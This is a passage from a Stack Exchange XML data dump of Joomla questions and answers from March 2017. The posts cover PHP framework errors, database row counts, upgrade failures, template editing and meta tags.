obj.offsetParent);&#xA;   return [curtop];&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="9793" LastActivityDate="2017-03-12T14:10:25.683" Title="RSform- scroll screen up when posting from one form to another" Tags="|joomla-3.x|javascript|rsform|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19302" PostTypeId="1" CreationDate="2017-03-08T14:04:53.490" Score="1" ViewCount="287" Body="&lt;p&gt;I am trying to write a php file to process a form submission.&lt;br&gt;&#xA;Here is the code I have so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;&#xA; define('_JEXEC', 1);&#xA;&#xA;if (file_exists(dirname(__FILE__) . '/defines.php')) {&#xA;    include_once dirname(__FILE__) . '/defines.php';&#xA;}&#xA;&#xA;if (!defined('_JDEFINES')) {&#xA;    define('JPATH_BASE', dirname(__FILE__));&#xA;    require_once JPATH_BASE.'/includes/defines.php';&#xA;}&#xA;&#xA;require_once JPATH_BASE.'/includes/framework.php';&#xA;&#xA;//The following two files do not exist in my Joomla installation, is that normal?  &#xA;//require_once JPATH_BASE.'/includes/helper.php';&#xA;//require_once JPATH_BASE.'/includes/toolbar.php'; &#xA;&#xA;&#xA;&#xA;//This here is throwing an exception &#xA; $app = JFactory::getApplication();&#xA;&#xA;//$app-&amp;gt;redirect('another page in my site');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am getting the following error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error displaying the error page: Application Instantiation Error:&#xA;  Application Instantiation Error&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Every other page in the website is working correctly, I have checked the configuration file and all the database settings are there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried repairing the DB through joomla back end and through phpmyadmin and that didn't change anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any ideas what have I done wrong here? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="9765" LastActivityDate="2017-03-08T22:06:30.523" Title="Can not get handle to Joomla! application object" Tags="|joomla-3.x|php|joomla-api|jfactory|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19303" PostTypeId="1" CreationDate="2017-03-08T15:57:01.147" Score="2" ViewCount="375" Body="&lt;p&gt;I am tyring to upgrade my joomla to the latest version(3.6.2 to 3.6.5), but no matter I install it online or download the package and install from local, I got a 500 error. Also when I try to open components-&gt;akeeba I get a 500 error too.  I host the website on my own linode server, when I check apache error log where I usually go to find the error logs, I didn't find anything. By the way, my front-end works well and there is no problem with other functions on back-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where could the error log be and more importantly how to solve this upgrading problem? Without being able to see the detail of the 500 error, I am lost.&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2017-04-08T20:35:25.490" Title="500 error when trying to upgrade from 3.6.2 to 3.6.5" Tags="|joomla-3.x|upgrade|error-handling|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19305" PostTypeId="2" ParentId="19302" CreationDate="2017-03-08T22:06:30.523" Score="1" Body="&lt;p&gt;You haven't included the JFactory so to use Joomla's Database Class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After requiring the framework add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once( JPATH_BASE .'/libraries/joomla/factory.php' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following are not part of Joomla 3 version - it's normal that you don't see such files. How did they reach to your code? &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;//The following two files do not exist in my Joomla installation, is that normal?  &#xA;//require_once JPATH_BASE.'/includes/helper.php';&#xA;//require_once JPATH_BASE.'/includes/toolbar.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-03-08T22:06:30.523" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19307" PostTypeId="1" CreationDate="2017-03-09T05:08:42.050" Score="2" ViewCount="74" Body="&lt;p&gt;I've seen other options for some languages, like PHP, HTML and CSS, but nothing for Java and C#.  Also it needs to be current, for Joomla 3.6.&lt;/p&gt;&#xA;" OwnerUserId="9800" LastActivityDate="2018-06-02T18:37:08.517" Title="Displaying Syntax highlighting and indentions. Specifically for Java, C#?" Tags="|joomla-3.6|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19308" PostTypeId="1" AcceptedAnswerId="19309" CreationDate="2017-03-09T05:46:32.263" Score="2" ViewCount="300" Body="&lt;p&gt;Any idea how to fix this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dbo = JFactory::getDbo();&#xA;$query = 'SELECT `#__example`.`example_value` AS `value` FROM `#__example`';&#xA;$dbo-&amp;gt;setQuery($query);&#xA;$rowsCount = $dbo-&amp;gt;getNumRows();&#xA;$isEmpty = $rowsCount == 0;&#xA;echo $isEmpty;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: mysqli_num_rows() expects parameter 1 to be mysqli_result, null given&#xA;in C:\server\www\libraries\joomla\database\driver\mysqli.php on line 343&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;code&gt;1&lt;/code&gt; in the response, while the table contains rows, so the result cannot be empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to check whether the result set is empty without loading objects, etc... I load them in a later part of the code if it is not empty.&lt;/p&gt;&#xA;" OwnerUserId="9637" LastActivityDate="2017-03-10T02:02:51.297" Title="Cannot get num rows with the database driver" Tags="|joomla-3.x|joomla-3.4|jdatabase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19309" PostTypeId="2" ParentId="19308" CreationDate="2017-03-09T05:55:21.353" Score="3" Body="&lt;p&gt;I found out that I need a &lt;code&gt;$dbo-&amp;gt;execute()&lt;/code&gt; before the &lt;code&gt;$dbo-&amp;gt;getNumRows()&lt;/code&gt;. It is interesting, since the &lt;code&gt;$dbo-&amp;gt;loadObjectList()&lt;/code&gt; does not require it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andy found the important part in the docs too:&#xA;&lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase#getNumRows.28.29&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Selecting_data_using_JDatabase#getNumRows.28.29&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9637" LastEditorUserId="9637" LastEditDate="2017-03-10T02:02:51.297" LastActivityDate="2017-03-10T02:02:51.297" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19310" PostTypeId="2" ParentId="15636" CreationDate="2017-03-09T05:59:03.923" Score="1" Body="&lt;p&gt;The following is the proper order:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute();&#xA;$my_count = $db-&amp;gt;getNumRows(); &#xA;$result = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is interesting, since for getting the results only, this code is enough:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Getting an 500 error because of this is ridiculous. I mean I got an nginx error page, so the exception was not caught by joomla...&lt;/p&gt;&#xA;" OwnerUserId="9637" LastEditorUserId="9637" LastEditDate="2017-03-09T07:11:44.090" LastActivityDate="2017-03-09T07:11:44.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19311" PostTypeId="2" ParentId="19307" CreationDate="2017-03-09T10:44:04.890" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/cedhighlightjs/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CedHighlightjs&lt;/a&gt; (free) and &lt;a href=&quot;https://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/jextbox-code-display&quot; rel=&quot;nofollow noreferrer&quot;&gt;JExtBOX Code Display&lt;/a&gt; (paid) seem to support highlighting of Java and C.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may be others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the answer at &lt;a href=&quot;https://joomla.stackexchange.com/a/18817/120&quot;&gt;https://joomla.stackexchange.com/a/18817/120&lt;/a&gt; for some other possible options.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2017-03-09T10:44:04.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19312" PostTypeId="2" ParentId="19283" CreationDate="2017-03-09T19:16:09.750" Score="2" Body="&lt;p&gt;The XML Update URL is not the same thing as your UpdateServer XML Url. The JED has now provided an automated way of updating listings on the site by using there XML Update URL. The XML UPdate URL is a url on your site that the JED polls to look for updates about your specified extension. Just remove that line from your listing, if you are not doing automated JED updates it is not needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This in no way affects your extension update server for your extension.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2017-03-09T19:16:09.750" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19313" PostTypeId="2" ParentId="17454" CreationDate="2017-03-09T19:18:34.267" Score="0" Body="&lt;p&gt;You can download my custom quick icon module and create your own links.&#xA;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/administration/joomicon/&quot; rel=&quot;nofollow noreferrer&quot;&gt;JoomIcon&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2017-03-09T19:18:34.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19314" PostTypeId="2" ParentId="19303" CreationDate="2017-03-09T19:46:54.710" Score="2" Body="&lt;p&gt;From phpMyAdmin, disable system plugins one by one (highest IDs first) until the problem is no more (then you will be able to find the culprit). You can also disable system plugins by just renaming their folder to &lt;code&gt;pluginname_old&lt;/code&gt; in the &lt;code&gt;plugins/system&lt;/code&gt; folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, I am assuming that you have set your error reporting to maximum in your configuration settings, but are still seeing the 500 error.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-03-09T19:46:54.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19316" PostTypeId="2" ParentId="19298" CreationDate="2017-03-10T11:40:00.637" Score="1" Body="&lt;p&gt;I'd not come across the I'd not come across the...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&quot;title&quot; value=&quot;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...meta tag usage.  Thanks for explaining in the comments there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a handy SO post on it at &lt;a href=&quot;https://stackoverflow.com/questions/21076201/difference-between-meta-name-title-tag-and-title-title-tag&quot;&gt;https://stackoverflow.com/questions/21076201/difference-between-meta-name-title-tag-and-title-title-tag&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In joomla this is not really provided in by default, however it'd be easy to add it to your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you'd just edit your template's index.php file and put the code...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$active = JFactory::getApplication()-&amp;gt;getMenu()-&amp;gt;getActive();&#xA;?&amp;gt;&#xA;&amp;lt;meta name=&quot;title&quot; value=&quot;&amp;lt;?php echo $active-&amp;gt;title; ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...between the head tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could use...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&quot;title&quot; value=&quot;&amp;lt;?php echo $this-&amp;gt;getTitle(); ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...either would work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This assumes you're using a fairly normal Joomla template, it may be different if your template is a gantry, helix or t3 type thing from a template shop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some notes on Joomla page titles at &lt;a href=&quot;https://docs.joomla.org/Customising_the_dynamic_page_title&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Customising_the_dynamic_page_title&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanted to only display this tag for some components, as per your comment, you could just add a conditional.  So, to have it only show on pages that were not Virtuemart, you could do...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$current_component = $jinput-&amp;gt;get('option');&#xA;if ( !substr_count( $current_component, &quot;com_virtuemart&quot;) ) {&#xA;    ?&amp;gt;&#xA;    &amp;lt;meta name=&quot;title&quot; value=&quot;&amp;lt;?php echo $this-&amp;gt;getTitle(); ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more notes on this, see  &lt;a href=&quot;https://joomla.stackexchange.com/questions/4204/how-to-check-what-component-is-being-used-on-current-page&quot;&gt;How to check what component is being used on current page?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5376" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2017-03-11T21:26:22.887" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19317" PostTypeId="1" CreationDate="2017-03-10T12:50:51.137" Score="1" ViewCount="874" Body="&lt;p&gt;I am new to this site aaand to Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is I had to update to the site to 3.5.1, did all the steps from the joomla tutorial and I am getting this /see the image/ &lt;a href=&quot;https://i.stack.imgur.com/JvEqv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JvEqv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I removed the yvbbcode folder, I got this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2JwNW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2JwNW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to access the admin panel it shows me this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice: Undefined property: LoginController::$input in /www/jobs-pl.org/www/root/administrator/components/com_login/controller.php on line 36&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Call to a member function set() on a non-object in /www/jobs-pl.org/www/root/administrator/components/com_login/controller.php on line 36&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help! :(&lt;/p&gt;&#xA;" OwnerUserId="9805" LastActivityDate="2017-04-09T13:53:11.053" Title="Updating from 2.5.28 to 3.5.1 FAILED HELP" Tags="|joomla-3.x|joomla-2.5|update|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19318" PostTypeId="2" ParentId="19317" CreationDate="2017-03-10T13:23:22.860" Score="1" Body="&lt;p&gt;&lt;code&gt;com_login&lt;/code&gt; is no longer part of core and &lt;code&gt;yvbbcode&lt;/code&gt; are not part of the Joomla core at all, it's a 3rd party plugin so you'll need to find a Joomla 3.x compatible version else uninstall it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This issue was discussed here: &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/11174&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/11174&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest trying to migrate to 3.6 rather than 3.5.1&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-03-10T13:23:22.860" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19319" PostTypeId="2" ParentId="19298" CreationDate="2017-03-10T18:09:24.220" Score="1" Body="&lt;p&gt;I would better suggest you to totally remove the &lt;code&gt;meta title tag&lt;/code&gt; as it is  superfluous and a waste of code. It doesn't really add any value to the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually it shouldn't be there at all on a fresh Joomla! 3 site, as it has been removed in recent J versions, and plus there is no UI control to enable/disable it anymore. So I guess this is an older updated website, which somehow inherited this setting from your old configuration file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remove it, just open your configuration.php and find the corresponding variable - public &lt;code&gt;$MetaTitle = '1';&lt;/code&gt; and delete it.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-03-10T18:09:24.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19320" PostTypeId="2" ParentId="19111" CreationDate="2017-03-11T00:15:02.830" Score="1" Body="&lt;p&gt;I came back to this issue this evening and got to the bottom of it after opening my eyes a little wider. In essence, I need to do one of the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A) Configure a JInputFilter instance in blacklisting mode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$filter = JInputFilter::getInstance([], [], 1, 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B) use &lt;code&gt;JComponentHelper::filterText()&lt;/code&gt;, which will enforce the filtering rules configured in the 'Text Filters' page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I posted a more detailed answer &lt;a href=&quot;https://stackoverflow.com/questions/19426943/joomlas-jinput-strips-html-with-every-filter/42729709#42729709&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="454" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2017-03-11T00:15:02.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19322" PostTypeId="1" CreationDate="2017-03-11T18:54:01.977" Score="4" ViewCount="412" Body="&lt;p&gt;I just started working with a client that is coming to me from another person that managed his site for him. His site is already being hosted on Joomla and he wants to keep it there, but wants me to make some changes. I generally always use raw HTML, JS, PHP, CSS, Ruby, ... when building/managing websites and I have never used these pre-built template services before and they are a LOT more complicated then just working with the raw code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to just get in and edit the code?&lt;/p&gt;&#xA;" OwnerUserId="9808" LastEditorUserId="9808" LastEditDate="2017-03-13T19:05:40.770" LastActivityDate="2017-03-13T23:16:35.217" Title="How do I change the HTML, JS, PHP, CSS," Tags="|editing|" AnswerCount="2" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19323" PostTypeId="2" ParentId="19322" CreationDate="2017-03-11T19:23:52.430" Score="2" Body="&lt;p&gt;The first and most important thing for you to know and understand is that Joomla! and all its extensions are designed to be upgraded by their developers with the upgrades then spread to all Joomla! installations using the built-in upgrade mechanism. Also understand that many of those upgrades contain fixes to severe security vulnerabilities, so that while not doing the upgrades is possible, it is usually also stupid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What this means is that &quot;just get in and edit the code&quot; will usually end up in tears and frustration. You &lt;strong&gt;can&lt;/strong&gt; do it, but you have to actually understand how Joomla! and the various ways it lets developers extend and override what happens work for it to be worth it. Otherwise you'll spend all your time either explaining why the site is not working or trying to fix it. And if you understand those mechanisms it is simply much easier to just &lt;strong&gt;use&lt;/strong&gt; them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your situation is bit problematic since you have expertise you'd naturally like to use and no general desire to spend time learning Joomla! That said learning at least basics of Joomla! development and then asking advice on the specifics of what you need is probably the most efficient approach overall.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2017-03-11T19:23:52.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19324" PostTypeId="1" CreationDate="2017-03-12T03:37:03.607" Score="1" ViewCount="91" Body="&lt;p&gt;When I want to insert an image in an article, the modal where I select an image is very ugly. It seems there is no CSS which makes the modal more beautiful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ok91e.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ok91e.png&quot; alt=&quot;Modal where I select an image&quot;&gt;&lt;/a&gt;&#xA;In my index file I've got the following CSS files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/system/css/system.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/system/css/general.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/&amp;lt;?php echo $this-&amp;gt;template ?&amp;gt;/css/template.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using Joomla! 3.6.5. Does anyone know why this happens?&lt;/p&gt;&#xA;" OwnerUserId="9810" LastEditorUserId="12352" LastEditDate="2019-01-27T10:28:09.213" LastActivityDate="2019-01-27T10:28:09.213" Title="Joomla Editor: select image looks ugly (no css?)" Tags="|joomla-3.x|css|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19325" PostTypeId="2" ParentId="19301" CreationDate="2017-03-12T14:10:25.683" Score="1" Body="&lt;p&gt;I think you can do this in a much simpler way. In the HTML Layout of the second form, set &quot;Auto Generate Layout&quot; to &quot;No&quot;. Then, add the following to the very beginning of the HTML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a name=&quot;#form-2&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your first form, just ensure that it redirects to the following URL: &lt;code&gt;link-to-your-second-form#form-2&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-03-12T14:10:25.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19326" PostTypeId="2" ParentId="19280" CreationDate="2017-03-12T14:35:49.973" Score="3" Body="&lt;p&gt;In the old days, the &lt;code&gt;router.php&lt;/code&gt; file contained functions: &lt;code&gt;BuildRoute&lt;/code&gt; and &lt;code&gt;ParseRoute&lt;/code&gt;. Nowadays, if you look at the &lt;code&gt;router.php&lt;/code&gt; of the &lt;code&gt;banners&lt;/code&gt; extension for example, you will see a class called &lt;code&gt;BannersRouter&lt;/code&gt; which extends from &lt;code&gt;JComponentRouterBase&lt;/code&gt;, and within that class you will see the &lt;code&gt;build&lt;/code&gt; and the &lt;code&gt;parse&lt;/code&gt; functions. Additionally, just immediately after the class, you will also see the &lt;code&gt;bannersBuildRoute&lt;/code&gt; and the &lt;code&gt;bannersParseRoute&lt;/code&gt; functions (these 2 functions are necessary and will invoke the &lt;code&gt;build&lt;/code&gt; and the &lt;code&gt;parse&lt;/code&gt; methods).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in your &lt;code&gt;router.php&lt;/code&gt;, once you use a class that extends from &lt;code&gt;JComponentRouterBase&lt;/code&gt; (like the banners component), instead of just using &lt;code&gt;BuildRoute&lt;/code&gt; and &lt;code&gt;ParseRoute&lt;/code&gt;, then you are automatically implementing the &lt;code&gt;JComponentRouterInterface&lt;/code&gt; in your component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-03-12T14:35:49.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19327" PostTypeId="1" CreationDate="2017-03-12T14:55:11.053" Score="1" ViewCount="109" Body="&lt;p&gt;how i can change the displayed address&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator/index.php?option=com_content&amp;amp;view=article&amp;amp;layout=edit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator/content/article/edit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;by using htaccess file in joomla&lt;/p&gt;&#xA;" OwnerUserId="8448" LastActivityDate="2017-03-12T14:55:11.053" Title="how to use mod_rewrite in joomla backend" Tags="|joomla-3.x|administrator|.htaccess-configuration|" AnswerCount="0" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19328" PostTypeId="1" CreationDate="2017-03-13T08:38:00.387" Score="1" ViewCount="104" Body="&lt;p&gt;The site uses a custom mod_menu. How do you call the native language title?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    $lang = JFactory::getLanguage();&#xA;    $lang_name = $lang-&amp;gt;getName(); &#xA;&#xA;?&amp;gt;&#xA;&#xA;    &amp;lt;?php echo $lang_name;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This returns:&#xA;English (en-GB) or for Chinese: &quot;中文(繁體．台灣)&quot;.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However - I want the native title which is &quot;EN&quot;.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or for Chinese the Native Title is &quot;繁中&quot;. &lt;/p&gt;&#xA;" OwnerUserId="3485" LastEditorUserId="3485" LastEditDate="2017-03-14T08:24:39.813" LastActivityDate="2017-03-14T08:24:39.813" Title="Call Joomla Native Language Title" Tags="|template-override|multilingual|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19329" PostTypeId="1" AcceptedAnswerId="19330" CreationDate="2017-03-13T09:59:35.227" Score="2" ViewCount="56" Body="&lt;p&gt;How can I hide the &quot;popular topics&quot;, &quot;recent articles&quot; and &quot;user access login&quot; in default Protostar template? I need to edit the related index.php file of the template?&lt;/p&gt;&#xA;" OwnerUserId="9736" LastActivityDate="2017-03-13T10:27:22.853" Title="How can I hide the &quot;popular topics&quot; in Protostar template?" Tags="|templates|default|template-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19330" PostTypeId="2" ParentId="19329" CreationDate="2017-03-13T10:27:22.853" Score="1" Body="&lt;p&gt;The idea of Joomla as a Content Management System is that you should generally be able to update the content and look of the website without having to edit code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can likely disable or delete the modules you mention by logging in to the back-end of the website at www.yourwebsite.com/administrator and going to Extensions -&gt; Modules.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-03-13T10:27:22.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19331" PostTypeId="1" CreationDate="2017-03-13T10:35:00.820" Score="2" ViewCount="2710" Body="&lt;p&gt;I tried to do some research, but couldn't find one. Maybe someone can help!&#xA;I want to install Joomla 3.x using MS SQL server as DB. Right now, I only can choose Mysql. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP version - 5.6 + WAMP!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've done:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Downloaded SQLSRV20.EXE and installed it in C:\wamp64\bin\php\php5.6.25\ext&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;WAMP -&gt; PHP -&gt; php.ini (Added this line along the other php_sqlsrv_..x..)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;extension=php_sqlsrv_52_ts_vc6.dll&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Followed this tutorial: &lt;a href=&quot;https://docs.joomla.org/Configuring_sqlserver&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Configuring_sqlserver&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result: I still don't see option to install Joomla using MSSQL as DB. What am I doing wrong or how to fix it? &lt;/p&gt;&#xA;" OwnerUserId="9764" LastActivityDate="2020-04-30T14:30:54.773" Title="Joomla 3.x: Installation 